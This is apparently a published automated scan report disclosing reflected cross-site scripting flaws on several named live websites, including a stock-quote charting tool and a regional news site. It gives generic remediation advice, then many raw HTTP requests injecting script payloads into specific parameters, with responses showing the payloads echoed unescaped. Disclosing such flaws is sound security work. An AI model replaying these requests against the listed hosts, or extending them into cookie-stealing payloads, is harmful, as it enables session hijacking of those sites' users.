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Cross Site Scripting Reports | Hoyt LLC Research
XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 9a927<script>alert(1)</script>1dd8eb88889 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart9a927<script>alert(1)</script>1dd8eb88889 HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=fticEZXJv0a6; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:25 GMT Content-Length: 4817
The value of the chbdr request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 1c6b0><script>alert(1)</script>0cd72641fa7 was submitted in the chbdr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=1111111c6b0><script>alert(1)</script>0cd72641fa7&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=ggOhZ6gUBUVd; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:17 GMT Content-Length: 4860
The value of the chbdr request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa029</script><script>alert(1)</script>fc783b4984f was submitted in the chbdr parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111fa029</script><script>alert(1)</script>fc783b4984f&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=hIsSoZIEBCvb; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:20 GMT Content-Length: 4876
The value of the chbg request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload a9352><script>alert(1)</script>df211a09f8c was submitted in the chbg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffffa9352><script>alert(1)</script>df211a09f8c&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=hH_ZuAP1jmC4; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:08 GMT Content-Length: 4860
The value of the chbg request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d58a5</script><script>alert(1)</script>3eae5e94e34 was submitted in the chbg parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffffd58a5</script><script>alert(1)</script>3eae5e94e34&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=f9_-BAzE8dAc; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:13 GMT Content-Length: 4876
The value of the chbgch request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66674</script><script>alert(1)</script>ebde3032625 was submitted in the chbgch parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff66674</script><script>alert(1)</script>ebde3032625&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=huo2xzo9tHy5; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:16 GMT Content-Length: 4876
The value of the chbgch request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload eb744><script>alert(1)</script>e2835e492ae was submitted in the chbgch parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffffeb744><script>alert(1)</script>e2835e492ae&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=ghG9m6Tv5xW8; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:13 GMT Content-Length: 4860
The value of the chfill request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e0f9</script><script>alert(1)</script>a39376222cd was submitted in the chfill parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc66007e0f9</script><script>alert(1)</script>a39376222cd&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=gn0UzGlR-dJc; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:04 GMT Content-Length: 4876
The value of the chfill request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 75426><script>alert(1)</script>2891c5b109a was submitted in the chfill parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc660075426><script>alert(1)</script>2891c5b109a&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=g5gw2IQtuwU9; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:00 GMT Content-Length: 4860
The value of the chfill2 request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 53877</script><script>alert(1)</script>62927242a3c was submitted in the chfill2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc660053877</script><script>alert(1)</script>62927242a3c&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=hv0-pYf617I5; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:07 GMT Content-Length: 4876
The value of the chfill2 request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e7fcc><script>alert(1)</script>a218fac7adb was submitted in the chfill2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600e7fcc><script>alert(1)</script>a218fac7adb&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=frgNXUnZAx6a; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:04 GMT Content-Length: 4860
The value of the chhig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6f122</script><script>alert(1)</script>212c1a3098f was submitted in the chhig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=1006f122</script><script>alert(1)</script>212c1a3098f&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=gR3ZeH8rcMUg; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:11:56 GMT Content-Length: 4876
The value of the chhig request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c490b><script>alert(1)</script>a1948d55344 was submitted in the chhig parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100c490b><script>alert(1)</script>a1948d55344&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=h1jI8d2klS3e; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:11:53 GMT Content-Length: 4860
The value of the chln request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c9855><script>alert(1)</script>2ee7aa2709a was submitted in the chln parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111c9855><script>alert(1)</script>2ee7aa2709a&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=frWQwFe13uw_; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:11:57 GMT Content-Length: 4860
The value of the chln request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 70327</script><script>alert(1)</script>8a04d5aa93a was submitted in the chln parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=11111170327</script><script>alert(1)</script>8a04d5aa93a&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=fSDVxqwMB8A_; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:00 GMT Content-Length: 4876
The value of the chtype request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8e8af</script><script>alert(1)</script>fd4234cbdcc was submitted in the chtype parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain8e8af</script><script>alert(1)</script>fd4234cbdcc&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=gmdUi7MvHLdc; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:24 GMT Content-Length: 4876
The value of the chtype request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 96f43><script>alert(1)</script>820cb7f65c0 was submitted in the chtype parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /quotetools/miniCharts.go?webmasterId=97824&toolWidth=270&chhig=100&chln=111111&chfill=cccc6600&chfill2=cc6600&chbg=ffffff&chbgch=ffffff&chbdr=111111&chtype=mountain96f43><script>alert(1)</script>820cb7f65c0&callback=injectQuoteChart HTTP/1.1 Host: app.quotemedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Resin/2.1.14 Vary: Accept-Encoding P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Pragma: no-cache Cache-Control: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Set-Cookie: JSESSIONID=hIzLPsSYrmJ8; path=/ Content-Type: text/html; charset=ISO-8859-1 Date: Tue, 30 Nov 2010 14:12:21 GMT Content-Length: 4860
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a163d<script>alert(1)</script>5163a950221 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /licencea163d<script>alert(1)</script>5163a950221/lalgb.html HTTP/1.1 Host: artlibre.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:12:05 GMT Server: VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5 X-Powered-By: PHP/4.4.4 with Hardening-Patch X-Pingback: http://artlibre.org/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Tue, 30 Nov 2010 14:12:05 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 6014
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1132c<script>alert(1)</script>ac5c4028cf7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /licence/1132c<script>alert(1)</script>ac5c4028cf7 HTTP/1.1 Host: artlibre.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:12:07 GMT Server: VHFFS / Apache/1.3.34 (Unix) mod_lo/1.0 PHP/4.4.4 with Hardening-Patch mod_ssl/2.8.25 OpenSSL/0.9.8b mod_chroot/0.5 X-Powered-By: PHP/4.4.4 with Hardening-Patch X-Pingback: http://artlibre.org/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Tue, 30 Nov 2010 14:12:07 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 6004
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml">
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload d0c39<script>alert(1)</script>9a20a89349a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sportsd0c39<script>alert(1)</script>9a20a89349a/hsblog/index.xml HTTP/1.1 Host: centralmaine.mainetoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:01:24 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Length: 445 Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1aa9a<script>alert(1)</script>a6dbd8f512 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sports/hsblog1aa9a<script>alert(1)</script>a6dbd8f512/index.xml HTTP/1.1 Host: centralmaine.mainetoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:01:24 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Length: 444 Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 7291c<script>alert(1)</script>95be12b553a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sports/hsblog/index.xml7291c<script>alert(1)</script>95be12b553a HTTP/1.1 Host: centralmaine.mainetoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:01:24 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Length: 445 Connection: close Content-Type: text/html; charset=ISO-8859-1
1.23. http://centralmaine.mainetoday.com/sports/hsblog/index.xml [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://centralmaine.mainetoday.com
Path:
/sports/hsblog/index.xml
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 74e45<script>alert(1)</script>d950b462e72 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sports/hsblog/index.xml?74e45<script>alert(1)</script>d950b462e72=1 HTTP/1.1 Host: centralmaine.mainetoday.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 30 Nov 2010 14:01:23 GMT Server: Apache X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding,User-Agent Content-Length: 448 Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the '%22--%3E%3Cscript%3Ealert(0x000182)%3C/script%3E request parameter is copied into the HTML document as plain text between tags. The payload e62f7<script>alert(1)</script>ed21b27f2b3 was submitted in the '%22--%3E%3Cscript%3Ealert(0x000182)%3C/script%3E parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /eCustomerReg_enu/start.swe?'%22--%3E%3Cscript%3Ealert(0x000182)%3C/script%3Ee62f7<script>alert(1)</script>ed21b27f2b3 HTTP/1.1 Host: crmext.fairpoint.com Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utma=35652279.996491807.1291129174.1291129174.1291129174.1; __utmc=35652279; __utmz=35652279.1291129174.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); ObSSOCookie=loggedoutcontinue; __utmb=35652279
Response
